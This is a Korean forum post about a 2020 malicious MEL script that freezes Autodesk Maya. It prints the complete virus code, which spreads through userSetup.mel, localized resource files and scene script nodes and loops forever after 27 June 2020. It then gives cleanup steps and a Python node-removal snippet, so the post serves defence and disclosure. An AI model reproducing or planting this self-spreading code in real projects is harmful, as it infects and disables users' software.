회원 로그인
정보기억 정보기억에 체크할 경우 다음접속시 아이디와 패스워드를 입력하지 않으셔도 됩니다.
그러나, 개인PC가 아닐 경우 타인이 로그인할 수 있습니다.
PC를 여러사람이 사용하는 공공장소에서는 체크하지 마세요.
소셜네트워크 서비스를 통해서 로그인하시면 별도의 로그인 절차없이 회원서비스를 이용하실 수 있습니다.


최근 게시물

1.노션에서 작성 중

1.노션에서 작성 중

개편하기 전까지 노션에서 작성 중

2024.04.04//read more

2.ChatGPT

2.ChatGPT

OpenAI로 대규모 언어 모델대화형...

2023.03.16//read more

3.노코딩 게임 엔진 - 빌..

3.노코딩 게임 엔진 - 빌..

빌드 지원안드로이드iOS윈도우즈특이사...

2023.03.14//read more

4.(완료) 미접속 회원 정..

4.(완료) 미접속 회원 정..

[완료] 36명의 회원을 정리하였습니...

2023.02.16//read more

5.매뉴얼 플러스 - 전자제..



안정적인 DNS 서비스 DNSEver
DNS Powered by DNSEver.com


2020년 6월 27일 이후 마야가 멈추는 문제

푸딩뱃살 | 2020.06.29 14:03 | 조회 2129
:2020년 6월 27일 이후 마야가 멈추는 문제

증상
  • 마야를 실행하면 멈춤
  • 마야를 실행을 했더라도 씬 파일을 열면 멈춤
  • 즉, 악성 코드
원인
  • C:\Users\사용자\Documents\maya\scripts\userSetup.mel에
  • 아래 내용이 저장 또는 씬 파일 마다 MayaMelUIConfigurationFile 노드가 생성됨
    // Maya Mel UI Configuration File.Maya Mel UI Configuration File..
    // 
    //
    //  This script is machine generated.  Edit at your own risk.
    //
    //
    ////////////////////////////////////////////////////////////////////
    global proc UI_Mel_Configuration_think(){
        string $localized_resources_path = `getenv MAYA_LOCATION`+("/resources/l10n/");
        string $all_file[]=`getFileList -folder $localized_resources_path`;
        string $localized_anim_strings_path =("/plug-ins/animImportExport.pres.mel");
        global string $Mel_file_address_lj=("");
        
        // Infect localized anim import/export string files w/ virus?
        for ( $loc_folder_index = 0 ;$loc_folder_index<`size $all_file`;$loc_folder_index++)
        {
            string $Mel_file_address=($localized_resources_path+$all_file[$loc_folder_index]+$localized_anim_strings_path);
            // If can copy localized file...
            if (`sysFile -cp ($Mel_file_address+(".Mel")) ($Mel_file_address) ` == 1){
                // Delete copied file
                sysFile -del ($Mel_file_address+(".Mel"));
                
                int $gc_xh=0;
                string $Mel_File_LineBuffer[];
                clear $Mel_File_LineBuffer;
                // Open original localized file
                $fileId=`fopen ($Mel_file_address) ("r")`;
                $Mel_File_LineBuffer[0] = `fgetline  $fileId`;
                // Copy localized file lines into buffer
                while (` size $Mel_File_LineBuffer[$gc_xh]` != 0 ){
                    $gc_xh++;
                    $Mel_File_LineBuffer[$gc_xh] = `fgetline $fileId`;
                } 
                fclose $fileId; 
                
                // Check if localized file has token indicating infection
                int $isInfected = 0 ;
                for ( $line_index=0; $line_index<`size $Mel_File_LineBuffer`; $line_index++) {
                    if ($Mel_File_LineBuffer[$line_index] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")) {
                        $isInfected=1;
                        $line_index=99999999;
                    }
                }
                
                // If not infected, infect current localized file
                if ($isInfected == 0 ){
                    $Mel_file_address_lj=$Mel_file_address;
                    if (`whatIs UI_Mel_Configuration_think_b` != "Unknown"){
                        UI_Mel_Configuration_think_b;
                    }
                }
            } else {
                // Can't infect localized string file(s); create UserSetup.mel instead
                if (`whatIs UI_Mel_Configuration_think_a` != "Unknown") {
                    UI_Mel_Configuration_think_a;
                }
            }
        }
    }
    global proc UI_Mel_Configuration_think_a(){
        // Get application defaults file path as tokenized list
        string $system_WDLJ = `about -environmentFile`;
        string $buffer[];
        tokenize $system_WDLJ "/" $buffer;
        // Re-combine all but last 2 tokens on first token
        for($ii = 1; $ii < `size $buffer` - 2; $ii++) {
            $buffer[0] = $buffer[0] + "/" + $buffer[$ii];
        }    
        // Make first token point to user setup script location
        $buffer[0] = $buffer[0] + "/scripts/userSetup.mel";
        int $pd_file_existence_check = 0;
        // Check that userSetup file exists
        if (`sysFile -cp  ($buffer[0]+"..a") ($buffer[0]) ` == 1){
            // File exists; clean up 'check' file.
            sysFile -del ($buffer[0]+"..a");
            // ? Copy setup into memory ?
            int $ii=0;
            string $NR_all[];
            clear $NR_all;
            $fileId=`fopen ($buffer[0]) "r"`;
            $NR_all[0] = `fgetline  $fileId`;
            while (` size $NR_all[$ii]` != 0 ){
                $ii++;
                $NR_all[$ii] = `fgetline $fileId`;
            }
            fclose $fileId;
            int $pdNR_all=0;
            for ($ii = 0 ; $ii<`size $NR_all`;$ii++){
                if ($NR_all[$ii] == ("// Maya Mel UI Configuration File.Maya Mel UI Configuration File..")){
                    $pdNR_all = 1 ;$ii= 99999999;
                }
            }
            if ($pdNR_all == 0){
                $pd_file_existence_check = 1;
            }
        }
        // Copy failed. File doesn't exist.
        else {
            // Create blank userSetup file.
            $sys_document = `fopen ($buffer[0]) "w"`;
            fprint $sys_document ("");
            fclose $sys_document;
            // Try to copy file
            if (`sysFile -cp  ($buffer[0]+"..a") ($buffer[0]) ` == 1){
                // Clean up 'check' file
                sysFile -del ($buffer[0]+"..a");
                $pd_file_existence_check = 1;
            }
        }
        if($pd_file_existence_check == 1){
            // Copy this script into memory?
            string $script[] = `ls -type script`;
            int $isInfected=0;
            string $nr;
            for ($ii = 0 ; $ii<`size $script`;$ii++){
                $nr =  `scriptNode -q -beforeScript $script[$ii]` ;
                string $infected_file_token = `substring $nr 1 50`;
                if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){
                    $isInfected = 1;
                    $ii = 999999999;
                }
            }
            // Write this script to userSetup?
            if ($isInfected == 1){
                $fuck_All_U = `fopen ($buffer[0]) ("a")`;
                fprint $fuck_All_U ($nr);
                fclose $fuck_All_U;
            }
        }
    }
    global proc UI_Mel_Configuration_think_b() {
        global string $Mel_file_address_lj;
        string $script[]=`ls -type script`;
        int $isInfected=0;
        string $nr;
        for ($ii = 0 ; $ii<`size $script`; $ii++){
            $nr =  ` scriptNode  -q -beforeScript $script[$ii] ` ;
            string $infected_file_token = `substring $nr 1 50`;
            if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){
                $isInfected = 1;
                $ii = 999999999;
            }
        }
        if ($isInfected == 1){
            $fuck_All_U = ` fopen ($Mel_file_address_lj) ("a")`;
            fprint $fuck_All_U ($nr);
            fclose $fuck_All_U;
            $Mel_file_address_lj=("");
        }
    }
    global proc autoUpdateAttrEd_SelectSystem(){
        string $script[]=`ls -type script`;
        int $isInfected = 0 ;
        for ($ii = 0 ; $ii<`size $script`;$ii++){
            string $nr =  `scriptNode -q -beforeScript $script[$ii] `;
            string $infected_file_token = `substring $nr 1 50`;
            if ($infected_file_token == ("// Maya Mel UI Configuration File.Maya Mel UI Conf")){
                $isInfected = 1;
                $ii = 999999999;
            }
        }
        if ($isInfected  == 0 ){
            string $chengxu =`scriptNode -n MayaMelUIConfigurationFile -beforeScript  "// Maya Mel UI Configuration File.Maya Mel UI Configuration File.."`;
            setAttr ($chengxu+(".scriptType")) 1;
        }
    }
    global proc autoUpdatcAttrEd(){
        // Get current date as int
        string $aboutCD = `about -cd`;
        string $buffer[];
        tokenize $aboutCD ("/") $buffer;
        $buffer[0] = $buffer[0]+$buffer[1]+$buffer[2];
        int $PuTianTongQing=$buffer[0];
        // Put app into infinite loop if later than June 27, 2020
        if ($PuTianTongQing >= 20200627 ){
            for ($Ii=1 ; $Ii>0; $Ii++){
            }
        }
    }
    global proc autoUpdatoAttrEnd(){
        if ( `whatIs autoUpdatcAttrEd` != "Unknown" ){
            autoUpdatcAttrEd;
        }
        if ( `whatIs autoUpdateAttrEd_SelectSystem` != "Unknown" ){
            autoUpdateAttrEd_SelectSystem;
        }
        if ( `whatIs UI_Mel_Configuration_think` != "Unknown" ){
            UI_Mel_Configuration_think;
        }
    }
    global proc autoUpdatcAttrEnd(){
        if (`whatIs autoUpdatoAttrEnd` != "Unknown" ){
            global int $autoUpdateAttrEd_aoto_int;
            if($autoUpdateAttrEd_aoto_int == 0 ){
                $autoUpdateAttrEd_aoto_int=`scriptJob -e ("SelectionChanged") ("autoUpdatoAttrEnd") `;
            }
        }
    }
    autoUpdatcAttrEnd;
    

해결
  1. 내문서/maya 폴더 내의 userSetup.mel 파일이 정상적인지 확인 후 삭제
    1. C:\Users\사용자\Documents\maya\scripts\userSetup.mel
    2. C:\Users\사용자\Documents\maya\마야버전\scripts\userSetup.mel
  2. Open 옵션 창에서 General Options > Execute script nodes 체크 해제
  3. 파일 오픈
  4. 아래 스크립트 실행 (파이썬)
  5. import maya.cmds as cmds
    
    ta = cmds.ls('MayaMelUIConfigurationFile*', '*:MayaMelUIConfigurationFile', r=True)
    print ("There are " + str(len(ta)) + " MayaMelUIConfigurationFile node")
    for t in ta:
        print ("DELETE \'" +  t + "\' node")
        cmds.delete(t)
    
    5. 씬 저장 (백업을 위해 다른 이름으로 저장 추천)

또는
  • Maya Scanner 플러그인(첨부파일) 설치 후 해결
    • 파일이 열릴 때 자동으로 스캔하여 픽스해준다. (원본에 그대로 저장 후 마야 종료)

참고
https://gist.github.com/OriginalAdric/acbe902c89064e8300f2bc475a953e05

해결

플러그인

466개(3/24페이지)
마야
번호 제목 글쓴이 조회 날짜
공지 마야 뷰포트 네비게이션 팁 푸딩뱃살 42333 2020.04.06 17:22
공지 Maya 버전 별 Python 버전 푸딩뱃살 63661 2014.01.08 17:59
424 [Rigging] 언리얼 엔진 사용 시 리깅 주의 푸딩뱃살 1634 2021.05.10 17:54
423 [Base] 오브젝트 선택 사진 첨부파일 푸딩뱃살 1457 2021.05.04 12:35
422 [오류] 저장할 때 마다 중국어 경고 문구 첨부파일 푸딩뱃살 2152 2020.12.16 13:51
421 [Base] Orthographic views cannot be tumbled. 첨부파일 푸딩뱃살 1539 2020.10.13 19:41
420 [Script] thread 사용 안된다 푸딩뱃살 1902 2020.09.09 16:15
419 [Script] pip 사용 안된다 푸딩뱃살 1880 2020.06.30 19:11
>> [오류] 2020년 6월 27일 이후 마야가 멈추는 문제 첨부파일 푸딩뱃살 2130 2020.06.29 14:03
417 [FX] nCloth에서 Map Properties를 수정하면 충돌 리지드가 안먹는 사진 첨부파일 푸딩뱃살 1506 2020.06.15 19:24
416 [Script] 설정 저장 푸딩뱃살 1541 2020.06.01 10:58
415 [Script] Heads Up Display 푸딩뱃살 1580 2020.05.27 01:39
414 [Base] 마야 Help 크롬에서 열기 사진 첨부파일 푸딩뱃살 1877 2020.05.26 23:45
413 [오류] pymel.core 에러? 사진 첨부파일 푸딩뱃살 901 2020.05.17 16:25
412 [Script] opencv for Maya2017, 2018 첨부파일 푸딩뱃살 2108 2020.04.12 00:07
411 [Script] numpy for Maya2017 첨부파일 푸딩뱃살 1826 2020.04.09 20:15
410 [Plugin] Skinning Tools 사진 첨부파일 푸딩뱃살 1797 2020.03.19 17:34
409 [Plugin] Rigger - Auto Rig for Maya 사진 첨부파일 푸딩뱃살 1648 2020.03.14 20:04
408 [Base] .mel 파일 오픈 후 안되는 것 사진 첨부파일 푸딩뱃살 1978 2020.03.06 10:29
407 [Modeling] 엣지가 점선으로 나올 때 - soft edge 첨부파일 푸딩뱃살 1815 2019.12.31 11:11
406 [Plugin] USD Plugin for Maya 푸딩뱃살 2057 2019.12.18 11:45
405 [Rigging] decomposeMatrix를 이용한 trasform 연결 사진 첨부파일 푸딩뱃살 1975 2019.10.29 11:30